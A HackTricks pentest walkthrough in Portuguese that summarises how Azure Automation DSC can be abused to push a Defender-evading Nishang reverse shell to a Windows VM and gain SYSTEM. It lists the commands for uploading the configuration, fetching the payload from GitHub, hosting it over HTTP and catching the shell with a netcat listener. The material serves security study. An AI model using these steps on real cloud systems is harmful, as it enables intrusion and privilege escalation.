Az - State Configuration RCE

Support HackTricks

Confira o post completo em: https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe

Resumo da Preparação e Etapas da Infraestrutura do Servidor Remoto (C2)

Visão Geral

O processo envolve a configuração de uma infraestrutura de servidor remoto para hospedar um payload modificado do Nishang Invoke-PowerShellTcp.ps1, chamado RevPS.ps1, projetado para contornar o Windows Defender. O payload é servido a partir de uma máquina Kali Linux com IP 40.84.7.74 usando um servidor HTTP simples em Python. A operação é executada através de várias etapas:

Etapa 1 — Criar Arquivos

  • Arquivos Necessários: Dois scripts PowerShell são necessários:

  1. reverse_shell_config.ps1: Um arquivo de Desired State Configuration (DSC) que busca e executa o payload. Ele pode ser obtido no GitHub.

  2. push_reverse_shell_config.ps1: Um script para publicar a configuração na VM, disponível no GitHub.

  • Personalização: Variáveis e parâmetros nesses arquivos devem ser adaptados ao ambiente específico do usuário, incluindo nomes de recursos, caminhos de arquivos e identificadores de servidor/payload.

Etapa 2 — Compactar o Arquivo de Configuração

  • O reverse_shell_config.ps1 é compactado em um arquivo .zip, tornando-o pronto para transferência para a Conta de Armazenamento do Azure.

Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip

Step 3 — Definir Contexto de Armazenamento e Fazer Upload

  • O arquivo de configuração compactado é enviado para um contêiner de Armazenamento Azure predefinido, azure-pentest, usando o cmdlet Set-AzStorageBlobContent do Azure.

Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx

Step 4 — Prep Kali Box

  • O servidor Kali baixa o payload RevPS.ps1 de um repositório do GitHub.

wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
  • O script é editado para especificar a VM Windows alvo e a porta para o reverse shell.

Step 5 — Publish Configuration File

  • O arquivo de configuração é executado, resultando na implantação do script de reverse-shell no local especificado na VM Windows.

Step 6 — Host Payload and Setup Listener

  • Um Python SimpleHTTPServer é iniciado para hospedar o payload, junto com um listener Netcat para capturar conexões recebidas.

sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443
  • A tarefa agendada executa o payload, alcançando privilégios de nível SYSTEM.

Conclusão

A execução bem-sucedida deste processo abre inúmeras possibilidades para ações adicionais, como extração de credenciais ou expansão do ataque para várias VMs. O guia incentiva a continuidade do aprendizado e a criatividade no âmbito do Azure Automation DSC.

Support HackTricks

Last updated